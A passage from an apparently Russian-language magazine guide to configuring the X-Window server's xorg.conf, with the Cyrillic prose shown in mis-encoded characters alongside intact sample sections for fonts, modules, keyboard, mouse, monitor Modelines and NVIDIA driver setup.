æåð îêîí» (fluxbox, WindowMaker, fvwm2 è ò.ä.).

Âñå î íàñòðîéêå 
X-Window

www.x.org
www.xfree86.org
www.nvidia.com
www.ati.com
www.linuxhardware.org/nvclock/

ÎÑÒÎÐÎÆÍÅÅ ÑÑ ÏÏÎËÅÌ IIDENTIFIER
Êàæäûé ðàç, êîãäà òû ïðîïèñûâàåøü íîâîå çíà÷åíèå 
â ïîëå Identifier êàêîé-ëèáî èç ñåêöèé, íå çàáóäü âíîñèòü èçìå-
íåíèÿ â ñåêöèþ ServerLayout.

ÒÀÉÍÀ ÇÇÀÃÀÄÎ×ÍÎÃÎ ««X»
X-Window ïîëó÷èëà ñâîå íàç-
âàíèå áëàãîäàðÿ áàíàëüíîìó
îòñóòñòâèþ ôàíòàçèè ó åå
àâòîðîâ, êîòîðûå äî ýòîãî
ðàçðàáàòûâàëè îêîííóþ ñèñ-
òåìó W (îò ñëîâà Window). 
À X � ýòî âñåãî ëèøü ñëåäó-
þùàÿ, ïîñëå W, áóêâà àíã-
ëèéñêîãî àëôàâèòà :).

16 ÁÁÈÒ 
È ÏÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ
Óòâåðæäåíèÿ î òîì, ÷òî
óñòàíîâêà ãëóáèíû öâåòà â
16 áèò ïîâûñèò ñêîðîñòü
îòðèñîâêè èçîáðàæåíèÿ, íå
âñåãäà âåðíû. Ñîâðåìåííûå
êàðòî÷êè îò nVidia è ATI
îïòèìèçèðîâàíû íà ðàáîòó ñ
24-x áèòíûì öâåòîì.
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[ñîçäàåì øàáëîí] Ñîçäàòü äåôîëòíûé êîíôèã, òî÷íåå øàáëîí äëÿ äàëü-
íåéøåãî ïîòðîøåíèÿ, ìîæíî äâóìÿ ñïîñîáàìè: êîìàíäîé /usr/X11/bin
/xorgconfig èëè /usr/X11/bin/xorgcfg (xf86config è xf86cfg äëÿ XFree86). Ïåð-
âàÿ óòèëèòà ÿâëÿåòñÿ èíòåðàêòèâíîé. Çàïóñòèâ åå è îòâåòèâ íà íåñêîëü-
êî ïðîñòûõ âîïðîñîâ, òû íàéäåøü â ñâîåì äîìàøíåì êàòàëîãå âïîëíå
ðàáîòîñïîñîáíûé êîíôèã, êîòîðûé, âïðî÷åì, äàëåê îò èäåàëà. Êîìàíäà
xorgcfg áîëåå ïðîäâèíóòà. Îíà ðàáîòàåò â ãðàôè÷åñêîì ðåæèìå è ïîç-
âîëÿåò íàñòðàèâàòü èêñû ÷åðåç ðàçëè÷íûå ìåíþ. Ëè÷íî ÿ ñ÷èòàþ
xorgconfig ãîðàçäî áîëåå óäîáíûì ñðåäñòâîì íà÷àëüíîãî êîíôèãóðèðî-
âàíèÿ, ê òîìó æå íå-PS/2 ìûøè î÷åíü ÷àñòî îòêàçûâàþòñÿ ðàáîòàòü â
xorgcfg, ÷òî ñèëüíî çàòðóäíÿåò êîíôèãóðèðîâàíèå (ïðèõîäèòñÿ èñïîëü-
çîâàòü êëàâèàòóðó äëÿ ïåðåìåùåíèÿ êóðñîðà).

[èòàê, ïðèñòóïèì] Ïîñëå òîãî êàê êîíôèã áûë ñîçäàí, ñêîïèðóé åãî â
êàòàëîã /etc/X11 è çàïóñòè ëþáèìûé ðåäàêòîð. Êîíôèã èêñîâ èìååò
î÷åíü ïðîäóìàííóþ ñòðóêòóðó (ÿ áû äàæå ñêàçàë � ýòî ïðèìåð, êàêèì
äîëæåí áûòü êîíôèãóðàöèîííûé ôàéë). Îí ðàçäåëåí íà íåñêîëüêî ñåê-
öèé, êàæäàÿ èç êîòîðûõ ïîçâîëÿåò íàñòðîèòü îïðåäåëåííûé êîìïîíåíò
èêñîâ. Âñåãî ñóùåñòâóåò âîñåìü îñíîâíûõ ñåêöèé: Module, Files,
ServerFlags, InputDevice, Monitor, Device, Screen è ServerLayout. Ïðè÷åì
ïîñëåäíèå ïÿòü ìîãóò ñóùåñòâîâàòü â íåñêîëüêèõ ýêçåìïëÿðàõ.

[ïóòåâîäèòåëü ïî ôàéëàì] Íà÷íåì ñ ñåêöèè Files, ïîçâîëÿþùåé óêà-
çàòü X-ñåðâåðó ïóòè ê ôàéëàì, íåîáõîäèìûì äëÿ åãî ïðàâèëüíîé ðàáîòû.
Íàïðèìåð, ïðè ïîìîùè çàïèñè FontPath ìîæíî óêàçàòü ïóòü ïîèñêà
øðèôòîâ èëè èäåíòèôèêàòîð ñåðâåðà øðèôòîâ (ñìîòðè xfs(1)) â òàêîì
ôîðìàòå: ïðîòîêîë/õîñò:ïîðò (äëÿ ëîêàëüíîé ìàøèíû ïîäîéäåò òàêàÿ çà-
ïèñü: unix/localhost:7100). Çàïèñü RGBPath çàäàåò ïóòü ê áàçå öâåòîâ, êî-
òîðóþ, âïðî÷åì, ìîæíî è íå óêàçûâàòü. Èñïîëüçóÿ çàïèñü ModulePath,
îïðåäåëÿåòñÿ àëüòåðíàòèâíîå ðàñïîëîæåíèå ìîäóëåé (äðàéâåðà òîæå
ÿâëÿþòñÿ ìîäóëÿìè). Ïðèâåäó ïðèìåð èç ìîåãî êîíôèãà (îáðàòè âíèìà-
íèå, ÷òî î÷åðåäíîñòü óêàçàíèÿ ïóòåé âëèÿåò íà èõ ïðèîðèòåò, ïîýòîìó
ïóòü ê ðóññêèì øðèôòàì ñëåäóåò ïðîïèñûâàòü â ïåðâóþ î÷åðåäü):

[ïðèìåð ñåêöèè Files]

Section "Files"
FontPath "/usr/share/fonts/truetype"
FontPath "/usr/X11R6/lib/X11/fonts/cyrillic/"
FontPath "/usr/X11R6/lib/X11/fonts/misc/"
RgbPath "/usr/X11R6/lib/X11/rgb"
ModulePath "/usr/X11R6/lib/modules"

EndSection

[ðàñøèðÿåì âîçìîæíîñòè èêñîâ] Òåïåðü ó íàñ íà î÷åðåäè íåîáÿ-
çàòåëüíàÿ ñåêöèÿ Module. Îíà èñïîëüçóåòñÿ äëÿ êîíòðîëÿ íàä òåì, êàêèå
ìîäóëè äîëæåí çàãðóæàòü X-ñåðâåð ïðè ñòàðòå. Ìîäóëè íàõîäÿòñÿ â êà-
òàëîãàõ /usr/X11R6/lib/modules/{extensions,fonts}. Âîò êðàòêîå îïèñàíèå
êàæäîãî èç íèõ:
1 eexxttmmoodd � ìíîæåñòâî ðàçëè÷íûõ ðàñøèðåíèé äëÿ X-ñåðâåðà, ñîáðàí-
íûõ â îäíîì ìîäóëå. Ðåêîìåíäóþ âêëþ÷èòü, òàê êàê èñïîëüçóåòñÿ ìíî-
ãèìè ïðîãðàììàìè, îñîáåííî ìåíåäæåðàìè îêîí.
2 ddrrii (Direct Rendering Infrastructure) îáåñïå÷èâàåò ïðÿìîé äîñòóï ê âèäåîêàð-
òå è ôóíêöèÿì OpenGL. Ñîîòâåòñòâåííî, çàãðóæàòü åãî ñëåäóåò â òîì ñëó-
÷àå, åñëè íåîáõîäèìî àïïàðàòíîå óñêîðåíèå. Âàæíîå çàìå÷àíèå: îôèöèàëü-
íûå äðàéâåðà îò nVidia èñïîëüçóþò ñâîé ñïîñîá äîñòóïà ê âèäåîêàðòå (÷åðåç
ìîäóëü ÿäðà) è íå íóæäàþòñÿ â ýòîì ðàñøèðåíèè. Ñ äðóãîé ñòîðîíû, äðàé-
âåðà îò ATI ïîëíîñòüþ ïîääåðæèâàþò àðõèòåêòóðó DRI.
3 ggllxx � îáåñïå÷èâàåò ïîääåðæêó OpenGL. Íóæíî èëè íåò � ðåøàé ñàì.
4 ddbbee (Double Buffer Extension) � ìîäóëü îáåñïå÷èâàåò äâîéíóþ áóôå-
ðèçàöèþ. Èñïîëüçóåòñÿ ìíîãèìè OpenGL-ïðîãðàììàìè.
5 bbiittmmaapp � ïîääåðæêà îáû÷íûõ ðàñòðîâûõ øðèôòîâ X-Window, óêàçû-
âàòü íå íàäî, ãðóçèòñÿ àâòîìàòè÷åñêè.
6 ffrreeeettyyppee � ïîääåðæêà çàìå÷àòåëüíûõ TTF-øðèôòîâ (èìåííî îíè èñ-
ïîëüçóþòñÿ â Windows è MacOS), èõ íåò â ïîñòàâêå X-ñåðâåðà, íî ìîæ-
íî âçÿòü èç íàçâàííûõ îïåðàöèîíîê.
7 ttyyppee11 � âåêòîðíûå øðèôòû îò Adobe. Óñòóïàþò TTF-øðèôòàì, íî èõ
ìîæíî íàéòè â äèñòðèáóòèâå (ïàêåò gnu-gs-fonts).

Çàãðóçêà ìîäóëåé îñóùåñòâëÿåòñÿ ñ èñïîëüçîâàíèåì îïöèè Load. Ïðè-
÷åì äëÿ extmod äîñòóïíà òàêæå è ñëåäóþùàÿ ôîðìà, êîòîðàÿ ïîçâîëÿåò
èñïîëüçîâàòü ìîäóëü áåç óêàçàííîãî ðàñøèðåíèÿ:

SubSection "extmod"
Option "omit ðàñøèðåíèå"

EndSubSection
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Ïðèìåð ñåêöèè "Module"

Section "Module"
SubSection "extmod"

Option "omit xfree86-dga"
EndSubSection
Load "glx"
Load "dbe"
Load "freetype"

EndSection

[óïðàâëÿåì ïîâåäåíèåì èêñîâ] Ïîâåäåíèåì è ðåàêöèåé X-ñåðâåðà
íà ðàçëè÷íûå ñîáûòèÿ ìîæíî óïðàâëÿòü. Äåëàåòñÿ ýòî ïóòåì óêàçàíèÿ
íåîáõîäèìûõ îïöèé â ñåêöèè ServerFlags. Ñàìèõ îïöèé äîñòàòî÷íî ìíî-
ãî, îáúÿñíþ íàçíà÷åíèå ñàìûõ âàæíûõ è ïîëåçíûõ:
1 DDoonnttVVTTSSwwiittcchh � ïîçâîëÿåò îòêëþ÷èòü âîçìîæíîñòü âðåìåííîãî âûõîäà
èç èêñîâ â êîíñîëü ñ ïîìîùüþ êîìáè-
íàöèè «Ctrl+Alt+FX». Ïîëåçíî âêëþ-
÷èòü, åñëè ïî êàêèì-ëèáî ïðè÷èíàì
ýòî äåéñòâèå ïðèâîäèò ê çàâèñàíèþ
ñåðâåðà. Íàïðèìåð, â ñëó÷àå èñïîëü-
çîâàíèÿ êðèâûõ äðàéâåðîâ linux-frame-
buffer. Çíà÷åíèå ïî óìîë÷àíèþ: false.
2 DDoonnttZZaapp � îòêëþ÷àåò êîìáèíà-
öèþ êëàâèø «Ctrl+Alt+Backspace»,
íåìåäëåííî óáèâàþùåé X-ñåðâåð.
Çíà÷åíèå ïî óìîë÷àíèþ: false.
3 DDoonnttZZoooomm � îòêëþ÷àåò ðåàêöèþ
X-ñåðâåðà íà êîìáèíàöèè
«Ctrl+Alt+Keypad-Plus» 
è «Ctrl+Alt+Keypad-Minus», 
ïîçâîëÿþùèå èçìåíÿòü âèäåîðå-
æèì. Çíà÷åíèå ïî óìîë÷àíèþ: false.
4 DDiissaabblleeVViiddMMooddeeEExxtteennssiioonn � âêëþ-
÷åíèå ýòîé îïöèè ïðèâîäèò ê íåâîç-
ìîæíîñòè èñïîëüçîâàíèÿ óòèëèòû
ïîäñòðîéêè âèäåîðåæèìà /usr/X11/
bin/xvidtune. Ïîëåçíî âêëþ÷èòü, ÷òî-
áû êòî-íèáóäü â òâîå îòñóòñòâèå íå
ïîïûòàëñÿ ñæå÷ü ìîíèòîð. Çíà÷åíèå
ïî óìîë÷àíèþ: false.
5 AAlllloowwMMoouusseeOOppeennFFaaiill � ïî äåôîëòó
èêñû íå çàïóñêàþòñÿ, åñëè ìûøü íå
áûëà íàéäåíà. Òàêîå ïîâåäåíèå ìîæ-
íî îòêëþ÷èòü ñ ïîìîùüþ ýòîé îïöèè. Çíà÷åíèå ïî óìîë÷àíèþ: false.
6 BBllaannkkTTiimmee � òàéìàóò ïåðåä çàïóñêîì ñêèíñåéâåðà. Çíà÷åíèå 
ïî óìîë÷àíèþ: 10.
7 SSttaannddbbyyTTiimmee,, SSuussppeennddTTiimmee,, OOffffTTiimmee � äàííûå îïöèè çàäàþò òàéìàó-
òû äëÿ ðàçëè÷íûõ ñòàäèé ýíåðãîñáåðåæåíèÿ ìîíèòîðà: standby, suspend
è off. Ìîíèòîð äîëæåí ïîääåðæèâàòü DPMS (Display Power Management
System). Çíà÷åíèÿ ïî óìîë÷àíèþ: «20», «30», «40».
8 XXiinneerraammaa � âêëþ÷àåò îäíîèìåííîå ðàñøèðåíèå, íåîáõîäèìîå äëÿ îä-
íîâðåìåííîé ðàáîòû ñ äâóìÿ ìîíèòîðàìè. Çíà÷åíèå ïî óìîë÷àíèþ: false.
Âñå îïöèè çàäàþòñÿ â ñëåäóþùåì ôîðìàòå: Option «Îïöèÿ» «çíà÷åíèå».

[ââîäíàÿ ÷àñòü] Íà÷èíàÿ ñ XFree86 ÷åòâåðòîé âåðñèè, äëÿ íàñòðîéêè
êëàâèàòóðû è ìûøè ñòàëè èñïîëüçîâàòüñÿ ñåêöèè ñ îäíèì è òåì æå èìå-
íåì: InputDevice. ×òîáû ïàðñåð êîíôèãà ìîã èõ îòëè÷àòü, òðåáóåòñÿ óêà-
çàòü èìÿ èñïîëüçóåìîãî äðàéâåðà òàêîé ñòðîêîé: Driver "kbd" (Driver
Keyboard â ñëó÷àå ñ XFree86) äëÿ êëàâèàòóðû èëè Driver mouse, ñîîòâå-
òñòâåííî, äëÿ ìûøè. Ïîìèìî ýòîãî, äîëæíû áûòü óêàçàíû èäåíòèôèêà-
òîð (ñòðîêà: ''Identifier èäåíòèôèêàòîð2), ïðåäñòàâëåííûé ëþáîé ñòðîêîé,
è îïöèè (Ñòðîêà: Option ''Îïöèÿ'' ''çíà÷åíèå").
Íà÷íåì ñ êëàâèàòóðû. Ñàìûå ïîëåçíûå îïöèè çäåñü:
1 XXkkbbRRuulleess � çàäàåò ïðàâèëà èíòåðïðåòàöèè îïöèé: XkbModel,
XkbLayout, XkbVariant è XkbOptions. Ïî óìîë÷àíèþ óñòàíîâëåíî "xfree86"
è íåò ñìûñëà çàäàâàòü äðóãîå çíà÷åíèå.
2 XXkkbbMMooddeell � ìîäåëü êëàâèàòóðû. Ñåé÷àñ ìîæíî âñòðåòèòü òðè ìîäå-
ëè: pc101 (ïî óìîë÷àíèþ), pc104 è pc105. ×èñëî çäåñü óêàçûâàåò íà êî-
ëè÷åñòâî êëàâèø.
3 XXkkbbLLaayyoouutt � ðàñïîëîæåíèå êëàâèø íà êëàâèàòóðå (ðàñêëàäêà). 
Äëÿ àíãëî-ðóññêèõ êëàâèàòóð ñëåäóåò óêàçûâàòü us,ru.
4 XXkkbbVVaarriiaanntt � îïöèÿ èñïîëüçóåòñÿ äëÿ òþíèíãà íàñòðîåê âûøåîïèñàí-
íîé îïöèè. Íàïðèìåð, ÷òîáû çàñòàâèòü ðàáîòàòü êëàâèøè «Windows» 
è «Ìåíþ» (íà Windows-ñîâìåñòèìûõ êëàâèàòóðàõ), ñëåäóåò óêàçàòü
«,winkeys» (çàïÿòàÿ îáÿçàòåëüíà).
4 XXkkbbOOppttiioonnss � ïîçâîëÿåò óêàçàòü íåêîòîðûå äîïîëíèòåëüíûå îïöèè. Îáû÷íî

èñïîëüçóåòñÿ äëÿ íàñòðîéêè êëàâèø ïåðåêëþ÷åíèÿ ðàñêëàäêè. Äëÿ ýòîãî íóæíî
ïðîïèñàòü «grp:èäåíòèôèêàòîð», ãäå «èäåíòèôèêàòîð» çàäàåò êîìáèíàöèþ êëà-
âèø. Ñàìûå ïîïóëÿðíûå êîìáèíàöèè: win_switch (êëàâèøà Windows),
ctrl_shift_toggle (Ctrl+Shift), caps_toggle (CapsLock), alt_shift_toggle (Alt+Shift) è
menu_toggle (êëàâèøà «Ìåíþ»). Òàêæå ïîñëå çàïÿòîé ñîâåòóþ ïðîïèñàòü
grp_led:scroll, ÷òîáû ïðè âêëþ÷åíèè ðóññêîé ðàñêëàäêè çàãîðàëñÿ îãîíåê Scroll.
5 AAuuttooRReeppeeaatt � ñêîðîñòü ïîâòîðåíèÿ íàæàòîé êëàâèøè. Çàäàåòñÿ â òà-
êîì ôîðìàòå «çàäåðæêà ñêîðîñòè», ãäå «çàäåðæêà» � ýòî òàéìàóò ïå-
ðåä íà÷àëîì ïîâòîðåíèÿ â ìèëëèñåêóíäàõ, à «ñêîðîñòü» � ÷àñòîòà ïîâ-
òîðåíèÿ (ðàç â ñåêóíäó). Äåôîëòíîå çíà÷åíèå: «500 30».
Òåïåðü î ãðûçóíå. Â ïðîñòåéøåì ñëó÷àå îïöèè âîîáùå íå íóæíî óêàçûâàòü.
Ãëàâíîå, ÷òîáû ñóùåñòâîâàë ñèìëèíê /dev/mouse, óêàçûâàþùèé íà ïîðò, ê
êîòîðîìó ïîäêëþ÷åíà ìûøü, à íåîáõîäèìûé ðåæèì ðàáîòû X-ñåðâåð ñàì
ïîäáåðåò. Íî âñå-òàêè â íåêîòîðûõ ñëó÷àÿõ ýòà ñõåìà ìîæåò îêàçàòüñÿ íå-
äåéñòâåííîé. Òîãäà äëÿ íàñòðîéêè ìûøè ìîæíî âîñïîëüçîâàòüñÿ ïðèâå-
äåííîé øïàðãàëêîé. Âîò êàêèå îïöèè ïðåäóñìîòðåëè ñîçäàòåëè èêñîâ:

1 PPrroottooccooll � çàäàåò ïðîòîêîë, ïî êî-
òîðîìó X-ñåðâåð áóäåò îáùàòüñÿ ñ
ìûøüþ. Ñàìûå ðàñïðîñòðàíåííûå
ïðîòîêîëû: Microsoft è MouseSystems
(COM-ìûøè), PS/2 è USB. Íî, êàê ÿ
óæå ãîâîðèë, ìîæíî óêàçàòü è Auto äëÿ
àâòîìàòè÷åñêîãî âûáîðà.
2 DDeevviiccee � èñïîëüçóåìûé ïîðò.
Îáû÷íî /dev/ttySX äëÿ äðåâíèõ COM-
ìûøåé è /dev/psaux äëÿ PS/2 (è íå çà-
áûâàåì ïðî ñèìëèíê /dev/mouse).
3 BBuuttttoonnss � êîëè÷åñòâî êëàâèø íà
ìûøêå. Ìûøè ñ êîëåñèêîì îáû÷íî
îñíàùåíû ïÿòüþ êëàâèøàìè (äâå
îáû÷íûå êëàâèøè è òðè ýìóëèðóþòñÿ
êîëåñîì). Ïî óìîë÷àíèþ: 3.
4 EEmmuullaattee33BBuuttttoonnss � ýìóëÿöèÿ
òðåòüåé êëàâèøè ÷åðåç äâîéíîå íà-
æàòèå ïåðâîé è âòîðîé. Ïîëåçíî
âêëþ÷èòü äëÿ äâóõêíîïî÷íîé ìûøè
(õîòÿ ãäå ñåé÷àñ òàêóþ âçÿòü?). Ïî
óìîë÷àíèþ: false.
5 ZZAAxxiissMMaappppiinngg � îïöèÿ ïîçâîëÿåò
óêàçàòü, êàêèå êëàâèøè èñïîëüçî-
âàòü â êà÷åñòâå êîëåñèêà. Äëÿ îáû÷-
íîé ìûøè ñ êîëåñèêîì çíà÷åíèå
äîëæíî áûòü: «4 5».

[ïðèìåð ñåêöèé InputDevice]

# êëàâèàòóðà ñ àíãëî-ðóññêîé ðàñêëàäêîé è ïåðåêëþ÷åíèåì ïî êëàâèøå «Ìåíþ»
Section "InputDevice"

Identifier "Keyboard0"
Driver "kbd"
Option "XkbRules" "xfree86"
Option "XkbModel" "pc105"
Option "XkbLayout" "us,ru"
Option "XkbVariant" ",winkeys"
Option "XkbOptions" "grp:menu_toggle,grp_led:scroll"

EndSection

# ìûøü, êîíòðîëèðóåìàÿ äåìîíîì gpm (ñàì äåìîí ñëåäóåò çàïóñ-
êàòü ñ ôëàãîì '-R')
Section "InputDevice"

Identifier "Gpm Mouse"
Driver "mouse"
Option "Protocol" "MouseSystems"
Option "Device" "/dev/gpmdata"
Option "Buttons" "3"
Option "ZAxisMapping" "4 5"

EndSection

# USB-ìûøü
Section "InputDevice"

Identifier "USB Mouse"
Driver "mouse"
Option "Protocol" "USB"
Option "Device" "/dev/mouse"
Option "Buttons" "5"
Option "ZAxisMapping" "4 5"

EndSection

man xorg.conf
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[ìîíèòîð] Òåïåðü çàéìåìñÿ êîíôèãóðèðîâàíèåì ìîíèòîðà. Ýòîò ïðî-
öåññ î÷åíü ïðîñòîé, äîñòàòî÷íî íàéòè äîêóìåíòàöèþ ê ìîíèòîðó è ïðî-
ïèñàòü â ñåêöèè Monitor äîïóñòèìûå ÷àñòîòû ãîðèçîíòàëüíîé ñèíõðîíè-
çàöèè è îáíîâëåíèÿ ýêðàíà. Íàïðèìåð, îòêðûâàåì ÷òèâî ê ìîíèòîðó
SyncMaster 757mb è âèäèì, ÷òî äèàïàçîí ÷àñòîò äëÿ äàííîãî ìîíèòîðà
ñîñòàâëÿåò 30�96 (÷àñòîòà ñèíõðîíèçàöèè) è 50�160 (÷àñòîòà îáíîâëå-
íèÿ ýêðàíà). Îñíîâûâàÿñü íà ýòèõ äàííûõ, ïèøåì äâå ñòðîêè: HorizSync
30�96 è VertRefresh 50�160. Òàêæå ïðèñóòñòâóåò âîçìîæíîñòü ïîäêîð-
ðåêòèðîâàòü ãàììó, èñïîëüçóÿ òàêóþ çàïèñü: Gamma "red-gamma green-
gamma blue-gamma". Çíà÷åíèÿ ìîãóò áûòü â äèàïàçîíå îò 0.1 äî 10.0. Ïî
óìîë÷àíèþ: «1.0 1.0 1.0». Ïîëåçíî â òåõ ñëó÷àÿõ, êîãäà õî÷åòñÿ ïîäíÿòü
ÿðêîñòü êàðòèíêè. Òî æå ñàìîå ìîæíî ñäåëàòü, èñïîëüçóÿ óòèëèòó
/usr/X11/bin/xgamma. Íàñòîÿòåëüíî ðåêîìåíäóþ àêòèâèðîâàòü ïîääåðæ-
êó DPMS, çàïèñàâ â êîíôèã ñòðîêó: Option "DPMS" "true". Òåïåðü X-ñåð-
âåð áóäåò çíàòü, êàê ïðàâèëüíî
«óñûïèòü» ìîíèòîð.
Ðàçðàáîò÷èêè óòâåðæäàþò, ÷òî
÷åòâåðòàÿ âåðñèÿ XFrre86 óìååò
ïðàâèëüíî âûñòàâëÿòü âèäåîðå-
æèì è íå òðåáóåò ðó÷íîãî âìå-
øàòåëüñòâà. Ê ñîæàëåíèþ, ýòî
íå âñåãäà âåðíî. Â íåêîòîðûõ
ñëó÷àÿõ ÷àñòîòà îáíîâëåíèÿ ýê-
ðàíà àâòîìàòè÷åñêè âûñòàâëÿåò-
ñÿ â 75 Ãö. Ïîýòîìó ðåêîìåíäóþ
ïðîïèñàòü ModeLine ñàìîìó.
×òîáû ïîëó÷èòü äëÿ âèäåîðåæè-
ìà 1024x768 100 Ãö íåîáõîäè-
ìûå çíà÷åíèÿ, âîñïîëüçóåìñÿ
óòèëèòîé /usr/X11/bin/gtf:

$ gtf 1024 768 100

# 1024x768 @ 100.00 Hz (GTF) hsync: 81.40 kHz; pclk: 113.31 MHz
Modeline "1024x768_100.00" 113.31 1024 1096 1208 1392 768 769 772
814 -HSync +Vsync

Òåïåðü çàïèñûâàåì âûâîä êîìàíäû â ñåêöèþ Monitor � è ãîòîâî. Ïîñëå
ýòîãî äëÿ âèäåîðåæèìà 1024x768_100.00 âñåãäà áóäåò âûñòàâëÿòüñÿ
÷àñòîòà îáíîâëåíèÿ â 100 Ãö.

[ïðèìåð ñåêöèè "Monitor"]

Section "Monitor"
Identifier "monitor"
# Samsung SyncMaster 757mb
HorizSync 30-96
VertRefresh 50-160
Option "DPMS" "true"
# 800x600 @ 100.00 Hz
Modeline "800x600" 68.18 800 848 936 1072 600 601 604 636 -HSync

+Vsync
# 1024x768 @ 100.00 Hz
Modeline "1024x768" 113.31 1024 1096 1208 1392 768 769 772 814 -

HSync +Vsync
EndSection

[ñåðäöå âèäåîïîäñèñòåìû] Â áîëüøèíñòâå
ñëó÷àåâ âèäåîäðàéâåðà íàñòðàèâàòü íå íóæíî,
äîñòàòî÷íî ïðîïèñàòü èäåíòèôèêàòîð âèäåîêàðòû
(íàïðèìåð: Identifier "GeForce2") è íåîáõîäèìûé
äðàéâåð (íàïðèìåð: Driver "nvidia") â ñåêöèè Device.
Ïðè÷åì èìåíà äðàéâåðîâ ñîîòâåòñòâóþò èìåíàì
ìîäóëåé, ÷òî ëåæàò â êàòàëîãå /usr/X11/lib/modules/
drivers, à èõ îïèñàíèå ìîæíî âçÿòü èç ÷åòâåðòîãî
ðàçäåëà man-ñòðàíèö.
Ðàññìîòðåíèå êàêèõ-ëèáî îïöèé çäåñü áóäåò ëèø-
íèì, ïîòîìó êàê X-ñåðâåð äîñòàòî÷íî óìåí, ÷òîáû
îïðîñèòü âèäÿõó è âûñòàâèòü âñåì îïöèÿì íóæíûå
çíà÷åíèÿ. Îòìå÷ó ëèøü îäíó ïîëåçíóþ äèðåêòèâó:
BusID (ôîðìàò «PCI:bus:device:function»). Ñ åå ïî-
ìîùüþ ìîæíî óêàçàòü ìåñòîðàñïîëîæåíèå âèäåî-
êàðòû íà PCI-øèíå. X-ñåðâåð ñïîñîáåí è ñàì íàéòè âèäåîêàðòó, 
íî åñëè èõ óñòàíîâëåíî äâå, òî äëÿ êàæäîé ïðèäåòñÿ ïðîïèñàòü ñâîé
BusID. Íàéòè âèäåîêàðòó ìîæíî âîñïîëüçîâàâøèñü óòèëèòîé /usr/bin/lspci,
èëè âûïîëíèâ êîìàíäó cat /proc/pci. Íàïðèìåð, ïîñëå âûïîëíåíèÿ ïðèâå-
äåííîé êîìàíäû ÿ óâèäåë òàêóþ çàïèñü:

Bus 2, device 0, function 0
VGA compatible controller: nVidia Corporation NV11 [GeForce2 MX/MX
400] (rev 178).

Ñëåäîâàòåëüíî, ìíå íåîáõîäèìî ïðîïèñàòü â ñåêöèè Device ñòðîêó:
BusID "PCI:2:0:0".
Â ïîñëåäíåå âðåìÿ êðóïíåéøèå ïðîèçâîäèòåëè âèäåîêàðò (ATI è nVidia)
çàíÿëèñü âûïóñêîì äðàéâåðîâ äëÿ Linux è FreeBSD. Âî ìíîãîì ðîäíûå
äðàéâåðà ïðåâîñõîäÿò òå, ÷òî ïîñòàâëÿþòñÿ ñ X-ñåðâåðîì. Ïîýòîìó íàñ-
òîÿòåëüíî ðåêîìåíäóþ âëàäåëüöàì âèäåîêàðò îò ýòèõ ïðîèçâîäèòåëåé
ñõîäèòü íà îôèöèàëüíûå ñàéòû (www.nvidia.com è www.ati.com) è ñêà-
÷àòü ïîñëåäíèå âåðñèè äðàéâåðîâ.
Ðàññìîòðèì ïðîöåññ óñòàíîâêè nvidia-äðàéâåðîâ. Îíè ðàñïðîñòðà-
íÿþòñÿ â ñàìîðàñïàêîâûâàþùåìñÿ àðõèâå, êîòîðûé èìååò ðàñøèðå-

íèå ".run". Òàê êàê ÷àñòü äðàéâå-
ðà ÿâëÿåòñÿ ìîäóëåì ÿäðà, òî
íåîáõîäèìî çàðàíåå ïîçàáî-
òèòüñÿ î òîì, ÷òîáû â êàòàëîãå
/usr/src/linux (/usr/src/sys äëÿ
FreeBSD) íàõîäèëèñü èñõîäíèêè
ÿäðà. Òåïåðü âûéäè èç èêñîâ è
îò èìåíè ñóïåðïîëüçîâàòåëÿ çà-
ïóñòè ïðåäâàðèòåëüíî ñêà÷àí-
íûé ôàéë ñ äðàéâåðàìè. Ïåðåä
òîáîé ïîÿâèòñÿ îêîøêî, âûïîë-
íåííîå â óäîáíîì ncurses-èí-
òåðôåéñå. Äàëåå òåáå ïðåäëî-
æàò ñîãëàñèòüñÿ ñ ëèöåíçèåé è
çàäàäóò åùå íåñêîëüêî âîïðî-
ñîâ. Êîãäà ïîÿâèòñÿ âîïðîñ î
òîì, õî÷åøü ëè òû ñêà÷àòü ïðå-

êîìïèëèðîâàííûé ìîäóëü ÿäðà ñ ñàéòà nvidia, îòâå÷àé «íåò», ïóñòü
ñàì ñîáèðàåò èç èñõîäíèêîâ.
Ïîñëå áëàãîïîëó÷íîãî îêîí÷àíèÿ óñòàíîâêè îòêðîé êîíôèã èêñîâ è óáåðè
èç ñåêöèè Module ñòðîêè: Load "dri" è Load "GLcore", íî îñòàâü ñòðîêó: Load
"glx". Äàëåå â ñåêöèè Device ïðîïèøè: driver "nvidia" è óäàëè/çàêîììåíòè-
ðóé ïðåäøåñòâóþùóþ çàïèñü. Òåïåðü ìîæåøü çàïóñêàòü èêñû è îöåíèòü
ïðîèçâîäèòåëüíîñòü 3D ïðè ïîìîùè òåñòà /usr/X11R6/bin/glxgears.
Äðàéâåð îò nVidia ïðèâíîñèò ñ ñîáîé ìíîæåñòâî ïîëåçíûõ (è íå î÷åíü)
îïöèé. Ðàññìîòðèì äâå èç íèõ (ñî âñåìè ìîæíî îçíàêîìèòüñÿ, çàãëÿíóâ
â ñåêöèþ D ôàéëà /usr/doc/NVIDIA_GLX-1.0/README):

1 NNooLLooggoo � ïîçâîëÿåò îòêëþ÷èòü çàñòàâêó nVidia, äåìîíñòðèðóåìóþ âî
âðåìÿ çàïóñêà èêñîâ. Çíà÷åíèå ïî óìîë÷àíèþ: false.
2 RReennddeerrAAcccceell � âêëþ÷àåò àïïàðàòíîå óñêîðåíèå ðàñøèðåíèÿ X-ñåðâå-
ðà RENDER, èñïîëüçóåìîãî â îñíîâíîì äëÿ ñãëàæèâàíèÿ øðèôòîâ. Çíà-
÷åíèå ïî óìîë÷àíèþ: false.

[ïðèìåð ñåêöèè Device]

Section "Device"
Identifier "GeForce2"
Driver "nvidia"
Option "NoLogo" "true"
Option "RenderAccel" "true"

EndSection

Â ïîñòàâêó ñ äðàéâåðîì âõîäèò óòèëèòà
nvidia-settings. Ñ åå ïîìîùüþ ìîæíî íå
òîëüêî ïîëó÷èòü ìíîæåñòâî ñâåäåíèé î
âèäåîêàðòå è ïîääåðæêå OpenGL, íî è èç-
ìåíèòü òàêèå ïàðàìåòðû äðàéâåðà, êàê ÿð-
êîñòü, êîíòðàñò, ãàììà, ñãëàæèâàíèå.
Íåëüçÿ íå óïîìÿíóòü îá èíñòðóìåíòå
nvclock, êîòîðûé ïðåäîñòàâëÿåò âîçìîæ-
íîñòü èçìåíÿòü ÷àñòîòû ãðàôè÷åñêîãî
÷èïà è âèäåîïàìÿòè, ÷òî áîëåå ÷åì àêòó-
